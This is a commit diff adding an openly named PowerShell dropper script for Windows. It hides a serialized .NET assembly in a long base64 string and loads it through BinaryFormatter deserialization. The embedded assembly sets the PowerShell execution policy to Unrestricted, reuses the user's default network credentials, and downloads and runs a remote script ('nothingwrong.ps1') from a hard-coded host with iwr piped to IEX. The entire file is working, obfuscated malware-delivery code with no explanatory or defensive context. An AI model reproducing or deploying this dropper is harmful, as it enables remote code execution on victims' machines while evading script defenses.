Add files via upload

psh_dropper_jScript.js

@@ -0,0 +1,162 @@
+Sub DebugPrint(s)
+End Sub
+
+Sub SetVersion
+Dim shell
+Set shell = CreateObject("WScript.Shell")
+Dim ver
+ver = "v4.0.30319"
+On Error Resume Next
+shell.RegRead "HKLM\SOFTWARE\\Microsoft\.NETFramework\v4.0.30319\"
+If Err.Number <> 0 Then
+  ver = "v2.0.50727"
+  Err.Clear
+End If
+shell.Environment("Process").Item("COMPLUS_Version") = ver
+End Sub
+
+Function Base64ToStream(b)
+  Dim enc, length, ba, transform, ms
+  Set enc = CreateObject("System.Text.ASCIIEncoding")
+  length = enc.GetByteCount_2(b)
+  Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform")
+  Set ms = CreateObject("System.IO.MemoryStream")
+  ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, ((length / 4) * 3)
+  ms.Position = 0
+  Set Base64ToStream = ms
+End Function
+
+Sub Run
+Dim s, entry_class
+s = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"
+s = s & "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"
+s = s & "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"
+s = s & "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"
+s = s & "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"
+s = s & "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"
+s = s & "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"
+s = s & "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"
+s = s & "aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"
+s = s & "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"
+s = s & "dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"
+s = s & "ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"
+s = s & "B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"
+s = s & "dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"
+s = s & "CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"
+s = s & "SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"
+s = s & "cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"
+s = s & "AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"
+s = s & "AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"
+s = s & "bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"
+s = s & "NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"
+s = s & "ZW1ibHkGFwAAAARMb2FkCg8MAAAAABQAAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA"
+s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy"
+s = s & "YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAACDergAAAAAA"
+s = s & "AAAA4AAiIAsBMAAADAAAAAYAAAAAAABOKgAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAAYA"
+s = s & "AAAAAAAAAIAAAAACAAAAAAAAAwBghQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA+ykA"
+s = s & "AE8AAAAAQAAA2AMAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAEApAAA4AAAAAAAAAAAAAAAAAAAA"
+s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA"
+s = s & "AAAALnRleHQAAABUCgAAACAAAAAMAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAA2AMAAABA"
+s = s & "AAAABAAAAA4AAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAASAAAAAAAAAAAA"
+s = s & "AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAC8qAAAAAAAASAAAAAIABQCkIAAAnAgAAAEAAAAAAAAA"
+s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEzACADwAAAAB"
+s = s & "AAARAigPAAAKAAAoEAAACgoGbxEAAAoABnMSAAAKCwdyAQAAcG8TAAAKJgdyaQAAcG8TAAAKJgZv"
+s = s & "FAAACgAqJgADKBUAAAomKgAAQlNKQgEAAQAAAAAADAAAAHY0LjAuMzAzMTkAAAAABQBsAAAAPAIA"
+s = s & "ACN+AACoAgAAGAMAACNTdHJpbmdzAAAAAMAFAACIAQAAI1VTAEgHAAAQAAAAI0dVSUQAAABYBwAA"
+s = s & "RAEAACNCbG9iAAAAAAAAAAIAAAFHFQIACQAAAAD6ATMAFgAAAQAAABYAAAACAAAAAgAAAAEAAAAV"
+s = s & "AAAADwAAAAEAAAABAAAAAwAAAAAA5wEBAAAAAAAGAB4BmgIGAIsBmgIGAFIAQQIPALoCAAAGAHoA"
+s = s & "KQIGAAEBKQIGAOIAKQIGAHIBKQIGAD4BKQIGAFcBKQIGAJEAKQIGAGYAewIGAEQAewIGAMUAKQIG"
+s = s & "AKwAqQEGAOUCAAIKACYAVAIKAC8ADAIKAAcDVAIGAAEAyAEKAOMCDAIOANsCQQIAAAAADgAAAAAA"
+s = s & "AQABAAEAEADJAvICQQABAAEAUCAAAAAAhhg7AgYAAQCYIAAAAACGANgCEAABAAAAAQDDAQkAOwIB"
+s = s & "ABEAOwIGABkAOwIKACkAOwIQADEAOwIQADkAOwIQAEEAOwIQAEkAOwIQAFEAOwIQAFkAOwIQAGEA"
+s = s & "OwIVAGkAOwIQAHEAOwIQAHkAOwIQAIEAOwIGAJkAIAAhAIkABwIGAJEAOwImAJEANwAsAIkAPgAG"
+s = s & "ALEA7AI2AC4ACwBOAC4AEwBXAC4AGwB2AC4AIwB/AC4AKwCZAC4AMwCZAC4AOwCZAC4AQwB/AC4A"
+s = s & "SwCfAC4AUwCZAC4AWwCZAC4AYwC3AC4AawDhAC4AcwDuAEMAWwA8ARoABIAAAAEAAAAAAAAAAAAA"
+s = s & "AAAA8gIAAAQAAAAAAAAAAAAAADwAFwAAAAAAAwAAAAAAAAAAAAAARQAMAgAAAAAEAAAAAAAAAAAA"
+s = s & "AAA8AAACAAAAAAAAAAAAQ29sbGVjdGlvbmAxADxNb2R1bGU+AG1zY29ybGliAENyZWF0ZVJ1bnNw"
+s = s & "YWNlAFJ1bnNwYWNlSW52b2tlAENsb3NlAEd1aWRBdHRyaWJ1dGUARGVidWdnYWJsZUF0dHJpYnV0"
+s = s & "ZQBDb21WaXNpYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAQXNzZW1ibHlUcmFk"
+s = s & "ZW1hcmtBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNp"
+s = s & "b25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3Jp"
+s = s & "cHRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVBy"
+s = s & "b2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55"
+s = s & "QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAFN5c3RlbS5SdW50aW1lLlZl"
+s = s & "cnNpb25pbmcAcGF0aABTeXN0ZW0uQ29sbGVjdGlvbnMuT2JqZWN0TW9kZWwAUHNoU2NyaXB0RXhl"
+s = s & "Y0xpYnJhcnkuZGxsAFN5c3RlbQBPcGVuAFN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24AU3lz"
+s = s & "dGVtLlJlZmxlY3Rpb24ALmN0b3IAU3lzdGVtLkRpYWdub3N0aWNzAFN5c3RlbS5NYW5hZ2VtZW50"
+s = s & "LkF1dG9tYXRpb24uUnVuc3BhY2VzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBTeXN0"
+s = s & "ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAERlYnVnZ2luZ01vZGVzAFJ1blNjcmlwdENsYXNz"
+s = s & "AFJ1blByb2Nlc3MAUFNPYmplY3QAU3RhcnQAUHNoU2NyaXB0RXhlY0xpYnJhcnkAUnVuc3BhY2VG"
+s = s & "YWN0b3J5AAAAZ1MAZQB0AC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBl"
+s = s & "AHMAdAByAGkAYwB0AGUAZAAgAC0AUwBjAG8AcABlACAAQwB1AHIAcgBlAG4AdABVAHMAZQByAAGB"
+s = s & "GygATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAFAA"
+s = s & "cgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0"
+s = s & "AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AE4AZQB0AHcAbwByAGsAQwByAGUA"
+s = s & "ZABlAG4AdABpAGEAbABzADsAaQB3AHIAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAu"
+s = s & "ADAALgAyADcALwBuAG8AdABoAGkAbgBnAHcAcgBvAG4AZwAuAHAAcwAxACcAKQB8AEkARQBYAAEA"
+s = s & "ABFpTTHub8BDoY811PfW2sUABCABAQgDIAABBSABARERBCABAQ4EIAEBAgYHAhJFEkkEAAASRQUg"
+s = s & "AQESRQkgARUSUQESVQ4FAAESWQ4It3pcVhk04IkIMb84Vq02TjUIAQAIAAAAAAAeAQABAFQCFldy"
+s = s & "YXBOb25FeGNlcHRpb25UaHJvd3MBCAEABwEAAAAAGQEAFFBzaFNjcmlwdEV4ZWNMaWJyYXJ5AAAF"
+s = s & "AQAAAAAXAQASQ29weXJpZ2h0IMKpICAyMDIxAAApAQAkYzI4OGQ5ZGQtMDA3MS00MzIzLThkYzYt"
+s = s & "MzQ4ZWNlZWJhZWJiAAAMAQAHMS4wLjAuMAAATQEAHC5ORVRGcmFtZXdvcmssVmVyc2lvbj12NC43"
+s = s & "LjIBAFQOFEZyYW1ld29ya0Rpc3BsYXlOYW1lFC5ORVQgRnJhbWV3b3JrIDQuNy4yBQEAAQAAAAAA"
+s = s & "AAAA/xW22wAAAAACAAAAgwAAAHgpAAB4CwAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAFJT"
+s = s & "RFNPdHAHUFFhQ7DHQFHRB9m1AQAAAEM6XFVzZXJzXE9jY3VsdG9cc291cmNlXHJlcG9zXFBzaFNj"
+s = s & "cmlwdEV4ZWNMaWJyYXJ5XFBzaFNjcmlwdEV4ZWNMaWJyYXJ5XG9ialxEZWJ1Z1xQc2hTY3JpcHRF"
+s = s & "eGVjTGlicmFyeS5wZGIAIyoAAAAAAAAAAAAAPSoAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC8q"
+s = s & "AAAAAAAAAAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAAD/JQAgABAAAAAAAAAAAAAA"
+s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAAAAAAAAAA"
+s = s & "AQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAAB8AwAAAAAAAAAAAAB8AzQAAABW"
+s = s & "AFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAEAAAAAAAAAAQAAAAAA"
+s = s & "PwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwAA"
+s = s & "AAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAE3AIAAAEAUwB0AHIAaQBuAGcA"
+s = s & "RgBpAGwAZQBJAG4AZgBvAAAAuAIAAAEAMAAwADAAMAAwADQAYgAwAAAAGgABAAEAQwBvAG0AbQBl"
+s = s & "AG4AdABzAAAAAAAAACIAAQABAEMAbwBtAHAAYQBuAHkATgBhAG0AZQAAAAAAAAAAAFIAFQABAEYA"
+s = s & "aQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAABQAHMAaABTAGMAcgBpAHAAdABFAHgAZQBj"
+s = s & "AEwAaQBiAHIAYQByAHkAAAAAADAACAABAEYAaQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAAMQAuADAA"
+s = s & "LgAwAC4AMAAAAFIAGQABAEkAbgB0AGUAcgBuAGEAbABOAGEAbQBlAAAAUABzAGgAUwBjAHIAaQBw"
+s = s & "AHQARQB4AGUAYwBMAGkAYgByAGEAcgB5AC4AZABsAGwAAAAAAEgAEgABAEwAZQBnAGEAbABDAG8A"
+s = s & "cAB5AHIAaQBnAGgAdAAAAEMAbwBwAHkAcgBpAGcAaAB0ACAAqQAgACAAMgAwADIAMQAAACoAAQAB"
+s = s & "AEwAZQBnAGEAbABUAHIAYQBkAGUAbQBhAHIAawBzAAAAAAAAAAAAWgAZAAEATwByAGkAZwBpAG4A"
+s = s & "YQBsAEYAaQBsAGUAbgBhAG0AZQAAAFAAcwBoAFMAYwByAGkAcAB0AEUAeABlAGMATABpAGIAcgBh"
+s = s & "AHIAeQAuAGQAbABsAAAAAABKABUAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAFAAcwBoAFMA"
+s = s & "YwByAGkAcAB0AEUAeABlAGMATABpAGIAcgBhAHIAeQAAAAAANAAIAAEAUAByAG8AZAB1AGMAdABW"
+s = s & "AGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYA"
+s = s & "ZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+s = s & "AAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAAFA6AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+s = s & "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+s = s & "AAAAAAAAAAAAAAAAAAAAAAENAAAABAAAAAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZs"
+s = s & "ZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQgAAAAKCwAA"
+entry_class = "PshScriptExecLibrary.RunScriptClass"
+
+Dim fmt, al, d, o
+Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
+Set al = CreateObject("System.Collections.ArrayList")
+al.Add Empty
+
+Set d = fmt.Deserialize_2(Base64ToStream(s))
+Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)
+
+End Sub
+
+SetVersion
+On Error Resume Next
+Run
+If Err.Number <> 0 Then
+  DebugPrint Err.Description
+  Err.Clear
+End If